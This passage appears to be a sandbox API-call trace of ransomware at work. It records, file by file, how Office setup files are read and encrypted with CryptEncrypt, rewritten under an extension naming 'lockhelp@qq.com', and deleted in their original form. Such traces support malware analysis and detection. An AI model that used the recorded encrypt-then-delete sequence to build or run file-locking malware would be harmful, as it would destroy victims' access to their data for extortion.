Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0052.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.418] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.419] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.419] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5931e0) returned 1 [0052.419] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.419] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x73c, lpOverlapped=0x0) returned 1 [0052.421] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x740, dwBufLen=0x740 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x740) returned 1 [0052.421] WriteFile (in: hFile=0x170, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x740, lpOverlapped=0x0) returned 1 [0052.422] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.422] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.422] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.422] CryptDestroyKey (hKey=0x593220) returned 1 [0052.422] WriteFile (in: hFile=0x170, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.423] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.423] CloseHandle (hObject=0x194) returned 1 [0052.423] CloseHandle (hObject=0x170) returned 1 [0052.424] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0052.425] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.427] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=596341) returned 1 [0052.427] CloseHandle (hObject=0x170) returned 1 [0052.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0052.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.427] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.428] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.428] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5931e0) returned 1 [0052.428] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.428] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x91975, lpOverlapped=0x0) returned 1 [0052.438] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x91980, dwBufLen=0x91980 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x91980) returned 1 [0052.446] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x91980, lpOverlapped=0x0) returned 1 [0052.462] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.462] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.462] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.462] CryptDestroyKey (hKey=0x593220) returned 1 [0052.463] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.463] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.463] CloseHandle (hObject=0x170) returned 1 [0052.463] CloseHandle (hObject=0x194) returned 1 [0052.470] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0052.724] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.945] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=5557) returned 1 [0052.945] CloseHandle (hObject=0x194) returned 1 [0052.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0052.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.948] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.948] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.948] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x15b5, lpOverlapped=0x0) returned 1 [0052.950] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x15c0) returned 1 [0052.950] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x15c0, lpOverlapped=0x0) returned 1 [0052.951] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.951] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.951] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.951] CryptDestroyKey (hKey=0x593220) returned 1 [0052.951] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.951] CryptDestroyKey (hKey=0x593260) returned 1 [0052.951] CloseHandle (hObject=0x194) returned 1 [0052.951] CloseHandle (hObject=0x174) returned 1 [0052.952] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0052.953] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.953] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=819) returned 1 [0052.953] CloseHandle (hObject=0x174) returned 1 [0052.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0052.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.953] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.954] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.954] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.954] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.954] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x333, lpOverlapped=0x0) returned 1 [0052.956] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340, dwBufLen=0x340 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340) returned 1 [0052.956] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x340, lpOverlapped=0x0) returned 1 [0052.956] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.957] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.957] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0052.957] CryptDestroyKey (hKey=0x593220) returned 1 [0052.957] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0052.957] CryptDestroyKey (hKey=0x593260) returned 1 [0052.957] CloseHandle (hObject=0x174) returned 1 [0052.958] CloseHandle (hObject=0x194) returned 1 [0052.958] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0052.959] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.960] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=37689) returned 1 [0052.960] CloseHandle (hObject=0x194) returned 1 [0052.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0052.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.960] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.961] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.961] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.961] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x9339, lpOverlapped=0x0) returned 1 [0052.963] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x9340, dwBufLen=0x9340 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x9340) returned 1 [0052.964] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x9340, lpOverlapped=0x0) returned 1 [0052.965] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0052.965] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.965] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.965] CryptDestroyKey (hKey=0x593220) returned 1 [0052.965] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.965] CryptDestroyKey (hKey=0x593260) returned 1 [0052.965] CloseHandle (hObject=0x194) returned 1 [0052.965] CloseHandle (hObject=0x174) returned 1 [0052.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0052.967] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.968] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=26929) returned 1 [0052.968] CloseHandle (hObject=0x174) returned 1 [0052.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0052.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.968] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.968] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.968] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.969] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.969] ReadFile (in: hFile=0x174, 